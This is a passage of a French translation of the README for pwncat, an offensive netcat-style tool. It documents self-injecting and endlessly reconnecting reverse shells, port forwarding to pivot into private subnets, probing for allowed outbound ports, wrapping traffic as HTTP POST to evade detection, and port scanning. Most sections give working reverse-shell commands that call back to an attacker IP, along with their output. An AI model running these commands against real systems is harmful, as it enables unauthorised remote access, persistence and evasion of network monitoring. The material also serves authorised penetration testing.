Une fois cela fait, vous pouvez continuer à utiliser la connexion actuelle ou simplement l'abandonner et démarrer un nouvel écouteur (oui, vous n'avez pas besoin de démarrer l'écouteur avant de lancer le shell inversé) pour que le nouveau client `pwncat` se connecte à vous. Le nouvel écouteur n'a pas non plus besoin d'être `pwncat`, il peut aussi être `netcat` ou `ncat`.

L'option **`--self-inject`** :```bash
pwncat -l 4444 --self-inject ::
```
* `` : C'est la commande à lancer sur la cible (comme `-e`/`--exec`, donc vous voulez qu'elle soit `cmd.exe` ou `/bin/bash`)
* `` : C'est pour votre machine locale, l'adresse IP à laquelle le reverse shell doit se reconnecter
* `` : C'est pour votre machine locale, le port sur lequel le reverse shell doit se reconnecter

Imaginez donc que votre machine Kali est 10.0.0.1. Vous donnez l'instruction à votre webshell que vous injectez sur un serveur Linux de se connecter à vous sur le port `4444` :```bash
# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
```
Vous verrez alors quelque chose comme ceci :```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
```
Et vous êtes prêt. Vous pouvez maintenant démarrer un autre écouteur localement sur `4445` (encore une fois, il se reconnectera à vous sans fin, donc il n'est pas nécessaire de démarrer l'écouteur en premier).```bash
# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445
```
### Shells inversées à auto-injection illimitées

Au lieu de simplement demander un seul shell inversé à auto-injection, vous pouvez demander à `pwncat` de générer autant de shells inversés incassables que vous le souhaitez, tous se reconnectant à vous.

> [Voir sur Youtube](https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2")

L'argument `--self-inject` vous permet non seulement de définir un seul port, mais aussi

1. Une liste de ports séparés par des virgules : `4445,4446,4447,4448`
2. Une définition d'intervalle : `4446-4448`
3. Un incrément : `4445+3`

Afin de générer 4 shells inversés, vous lanceriez votre écouteur comme décrit ci-dessus, mais au lieu
d'un seul port, vous en définissez plusieurs :```bash
# Comma separated
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

# Range
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

# Increment
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3
```
Chacune des trois commandes ci-dessus aura le même comportement : générer 4 shells inversés à l'intérieur de la cible. Une fois que le client se connecte, la sortie ressemblera à ceci :```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &
```
### Journalisation

> **Note :** Assurez-vous d'avoir un reverse shell qui revient constamment vers vous. Ainsi, vous pouvez toujours modifier vos paramètres de journalisation sans perdre le shell.

#### Niveau de journalisation et redirection

Si vous le souhaitez, vous pouvez démarrer un écouteur en mode de journalisation TRACE complète pour comprendre ce qui se passe ou simplement pour résoudre des problèmes.
Les messages de journalisation sont colorés en fonction de leur sévérité. Les couleurs sont automatiquement désactivées si stderr n'est pas un pty, par exemple : si on les redirige vers un fichier.
Vous pouvez également désactiver manuellement la journalisation colorée pour les sorties terminal via l'option `--color`.```bash
pwncat -vvvv -l 4444
```
Vous verrez (parmi tout le charabia) un message TRACE :```bash
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
```
Dès que vous avez vu cela sur l'écouteur, vous pouvez envoyer des commandes au client. Tous les messages de débogage ne sont pas non plus nécessaires, vous pouvez donc terminer votre serveur en toute sécurité avec Ctrl+c et le redémarrer en mode silencieux :```bash
pwncat -l 4444
```
Attendez maintenant quelques secondes au maximum, selon l'intervalle auquel le client revient vers vous et voilà, votre session est à nouveau sans journaux.

Ne pas avoir de messages d'info du tout n'est pas non plus toujours souhaitable. Vous voudrez peut-être savoir ce qui se passe en coulisses, non ? Terminez votre serveur en toute sécurité avec Ctrl+c et redirigez les notifications vers un fichier journal :```bash
pwncat -l -vvv 4444 2> comm.txt
```
Maintenant, tout ce que vous verrez dans votre session terminal sont les entrées et sorties réelles des commandes.
Si vous voulez voir ce qui se passe en coulisses, ouvrez une deuxième fenêtre de terminal et taillez le fichier `comm.txt` :```bash
# View communication info
tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
```
#### Informations sur les sockets

Une autre fonctionnalité utile est d'afficher les réglages actuels des sockets et du réseau.
Utilisez l'option `--info` avec `socket`, `ipv4`, `ipv6`, `tcp` ou `all` pour afficher tous les réglages disponibles.

**Remarque :** Pour visualiser ces réglages, vous devez être au moins au niveau de log `INFO` (`-vv`).

Un exemple de sortie en mode IPv4/TCP sans réglages personnalisés est présenté ci-dessous :```
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0
```

### Magie du transfert de port

#### Transfert de port TCP local

**Scénario**
1. Alice peut être jointe depuis l'extérieur (TCP/UDP)
2. Bob ne peut être joint que depuis la machine d'Alice```
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ TCP +-----------------+ TCP +-----------------+
| The cat | -----|----> | Alice | -----|----> | Bob |
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat 72.0.0.1 3306 | pwncat \ |
| -L 72.0.0.1:3306 \ |
| 10.0.0.1 3306 |
```
#### Transfert de port UDP local

**Scénario**
1. Alice peut être atteinte depuis l'Extérieur (mais uniquement via UDP)
2. Bob ne peut être atteint que depuis la machine d'Alice```
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ UDP +-----------------+ TCP +-----------------+
| The cat | -----|----> | Alice | -----|----> | Bob |
| | | | pwncat -L | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -u 72.0.0.1 3306 | pwncat -u \ |
| -L 72.0.0.1:3306 \ |
| 10.0.0.1 3306 |
```
#### Transfert de port TCP distant

**Scénario**
1. Alice ne peut pas être jointe depuis l'extérieur
2. Alice est autorisée à se connecter à l'extérieur (TCP/UDP)
3. Bob ne peut être joint que depuis la machine d'Alice```
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ TCP +-----------------+ TCP +-----------------+
| The cat | <----|----- | Alice | -----|----> | Bob |
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -l 4444 | pwncat --reconn \ |
| -R 56.0.0.1:4444 \ |
| 10.0.0.1 3306 |
```
#### Redirection de port UDP distante

**Scénario**
1. Alice ne peut pas être jointe depuis l'extérieur
2. Alice est autorisée à se connecter à l'extérieur (UDP : DNS uniquement)
3. Bob ne peut être joint que depuis la machine d'Alice```
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ UDP +-----------------+ TCP +-----------------+
| The cat | <----|----- | Alice | -----|----> | Bob |
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -u -l 53 | pwncat -u --reconn \ |
| -R 56.0.0.1:4444 \ |
| 10.0.0.1 3306 |
```

### Saut de ports sortants

Si vous n'avez aucune idée des ports sortants autorisés depuis la machine cible, vous pouvez demander
au client (par exemple, dans le cas d'un shell inverse) de sonder les ports sortants sans fin.```bash
# Reverse shell on target (the client)
# --exec # The command shell the client should provide
# --reconn # Instruct it to reconnect endlessly
# --reconn-wait # Reconnect every 0.1 seconds
# --reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
```
Une fois le client opérationnel, utilisez soit des sockets bruts pour vérifier le trafic entrant, soit
un outil comme Wireshark ou tcpdump pour découvrir depuis où le client peut se reconnecter à vous,

Si vous avez trouvé un ou plusieurs ports auxquels le client peut se connecter,
lancez simplement votre écouteur localement et attendez qu'il revienne.```bash
pwncat -l
```
Si le client se connecte à vous, vous disposerez d'un shell inversé fonctionnel. Si vous arrêtez votre serveur d'écoute local accidentellement ou délibérément, le client scrute à nouveau les ports jusqu'à une connexion réussie.
Pour tuer le client shell inversé, vous pouvez utiliser `--safe-word` (lors du démarrage du client).

Si aucune de ces mesures ne fonctionne, vous pouvez ajouter d'autres mesures comme l'utilisation d'UDP ou même l'encapsulation de vos paquets dans des protocoles de plus haut niveau, tels que HTTP ou autres. Voir [PSE](https://github.com/cytopia/pwncat/blob/master/pse) ou les exemples ci-dessous pour savoir comment transformer votre trafic.

### Moteur de script Pwncat ([PSE](https://github.com/cytopia/pwncat/blob/master/pse))

`pwncat` propose un moteur de script basé sur Python pour injecter votre code personnalisé avant l'envoi et après la réception des données.

#### Comment ça fonctionne

Vous devez simplement fournir un fichier Python avec la fonction d'entrée suivante :```python
def transform(data, pse):
# Example to reverse a string
return data[::-1]
```
Les deux, le nom de la fonction doit être `transform` et les arguments analysés doivent être nommés `data` et `pse`.
En dehors de cela, vous pouvez ajouter autant de code que vous le souhaitez. Chaque instance de `pwncat` peut prendre deux scripts :

1. `--script-send` : le script sera appliqué avant l'envoi
2. `--script-recv` : le script sera appliqué après la réception

Voir [ici](https://github.com/cytopia/pwncat/blob/master/pse) pour l'API et plus de détails

#### Exemple 1 : Chiffrement asymétrique auto-construit

> PSE : [asym-enc](https://github.com/cytopia/pwncat/blob/master/pse/asym-enc) code source

Cela chiffrera votre trafic de manière asymétrique. Il s'agit simplement d'une implémentation très basique de [ROT13](https://en.wikipedia.org/wiki/ROT13) avec des longueurs de décalage différentes des deux côtés pour *émuler* l'asymétrie. Vous pourriez faire de même et implémenter un chiffrement asymétrique basé sur GPG pour PSE.```bash
# server
pwncat -vvvv -l localhost 4444 \
--script-send pse/asym-enc/pse-asym_enc-server_send.py \
--script-recv pse/asym-enc/pse-asym_enc-server_recv.py
```
```bash
# client
pwncat -vvvv localhost 4444 \
--script-send pse/asym-enc/pse-asym_enc-client_send.py \
--script-recv pse/asym-enc/pse-asym_enc-client_recv.py
```
#### Exemple 2 : Wrapper HTTP POST auto-construit

> PSE: [http-post](https://github.com/cytopia/pwncat/blob/master/pse/http-post) source code

Cela encapsulera tout le trafic dans une requête HTTP POST valide, lui donnant l’apparence d’un trafic HTTP normal.```bash
# server
pwncat -vvvv -l localhost 4444 \
--script-send pse/http-post/pse-http_post-pack.py \
--script-recv pse/http-post/pse-http_post-unpack.py
```
```bash
# client
pwncat -vvvv localhost 4444 \
--script-send pse/http-post/pse-http_post-pack.py \
--script-recv pse/http-post/pse-http_post-unpack.py
```
### Scan de ports

#### TCP```bash
$ sudo netstat -tlpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN
tcp6 0 0 ::1:631 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
tcp6 0 0 ::1:4444 :::* LISTEN
tcp6 0 0 :::1053 :::* LISTEN
tcp6 0 0 :::902 :::* LISTEN
```
#### UDP
Les ports UDP suivants sont exposés :```bash
$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address
udp 0 0 0.0.0.0:631 0.0.0.0:*
udp 0 0 0.0.0.0:5353 0.0.0.0:*
udp 0 0 0.0.0.0:39856 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
udp6 0 0 :::1053 :::*
udp6 0 0 :::5353 :::*
udp6 0 0 :::57728 :::*
```
##### nmap```bash
$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST
Warning: 127.0.0.1 giving up on port because retransmission cap hit (2).
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000035s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 65529 closed ports
PORT STATE SERVICE
68/udp open|filtered dhcpc
631/udp open|filtered ipp
1053/udp open|filtered remote-as
5353/udp open|filtered zeroconf
39856/udp open|filtered unknown
40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s
user 0m0.844s
sys 0m2.571s
```
##### netcat```bash
$ time nc -z localhost 1-65535 -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real 0m18.734s
user 0m1.004s
sys 0m2.634s
```
##### pwncat```bash
$ time pwncat -z localhost 1-65535 -u -4
Scanning 65535 ports
[+] 68/UDP open (IPv4)
[+] 631/UDP open (IPv4)
[+] 1053/UDP open (IPv4)
[+] 5353/UDP open (IPv4)
[+] 39856/UDP open (IPv4)

real 0m7.309s
user 0m6.465s
sys 0m4.794s
```
## :information_source: FAQ

**See complete FAQ here:** https://docs.pwncat.org/en/latest/faq.html

**Q**: Is `pwncat` compatible with `netcat`?

**A**: Yes, it is fully compatible in the way it behaves in connect, listen and zero-i/o mode.
You can even mix `pwncat` with `netcat`, `ncat` or similar tools.

**Q**: Does it work on X?

**A**: In its current state it works with Python 2, 3 pypy2 and pypy3 and is fully tested on Linux and MacOS. Windows support is available, but is considered experimental (see [integration tests](https://github.com/cytopia/pwncat/actions)).

**Q**: I found a bug / I have to suggest a new feature! What can I do?

**A**: For bug reports or enhancements, please open an issue [here](https://github.com/cytopia/pwncat/issues).

**Q**: How can I support this project?

**A**: Thanks for asking! First of all, star this project to give me some feedback and see [CONTRIBUTING.md](https://github.com/cytopia/pwncat/blob/master/CONTRIBUTING.md) for details.

## :sunrise: Illustrations

Type
Artiste
Image
Licence

Logo
maifz

Bannière 1
maifz

Bannière 2
maifz

## :lock: [cytopia](https://github.com/cytopia) outils de sécurité

Voici une liste des outils de sécurité et de la documentation que je maintiens.

| Nom | Catégorie | Langage | Description |
|----------------------|----------------------|------------|-------------|
| **[offsec]** | Documentation | Markdown | Checklist Offsec, outils et exemples |
| **[header-fuzz]** | Énumération | Bash | Fuzzer les en-têtes HTTP |
| **[smtp-user-enum]** | Énumération | Python 2+3 | Énumérateur d'utilisateurs SMTP |
| **[urlbuster]** | Énumération | Python 2+3 | Fuzzer de répertoires web mutables |
| **[pwncat]** | Pivotement | Python 2+3 | Netcat multiplateforme sous stéroïdes |
| **[kusanagi]** | Générateur de Payload | Python 3 | Générateur de payloads de shell bind et reverse |
| **[badchars]** | Rétro-ingénierie | Python 2+3 | Générateur de badchars |
| **[fuzza]** | Rétro-ingénierie | Python 2+3 | Outil de fuzzing TCP |
| **[docker-dvwa]** | Environnement de test| PHP | DVWA avec défis d'escalade de privilèges locaux |

[offsec]: https://github.com/cytopia/offsec
[header-fuzz]: https://github.com/cytopia/header-fuzz
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
[urlbuster]: https://github.com/cytopia/urlbuster
[pwncat]: https://github.com/cytopia/pwncat
[kusanagi]: https://github.com/cytopia/kusanagi
[badchars]: https://github.com/cytopia/badchars
[fuzza]: https://github.com/cytopia/fuzza
[docker-dvwa]: https://github.com/cytopia/docker-dvwa

## :octocat: Contribuer

Consultez les **[Directives de contribution](https://github.com/cytopia/pwncat/blob/master/CONTRIBUTING.md)** pour aider à améliorer ce projet.

## :exclamation: Avertissement

Cet outil ne doit être utilisé qu'à des fins légales. Les utilisateurs assument l'entière responsabilité de toute action effectuée avec cet outil. L'auteur décline toute responsabilité pour les dommages causés par cet outil. Si ces conditions ne vous conviennent pas, n'utilisez pas cet outil.

## :page_facing_up: Licence

**[MIT License](https://github.com/cytopia/pwncat/blob/master/LICENSE.txt)**

Copyright (c) 2020 **[cytopia](https://github.com/cytopia)**}}}}

pwncat

Populaires

pwncat

Netcat sous stéroïdes avec contournement de Firewall, IDS/IPS, shell bind et reverse, shell auto-injectant et magie de redirection de port - et entièrement scriptable avec Python (PSE). - docs.pwncat.org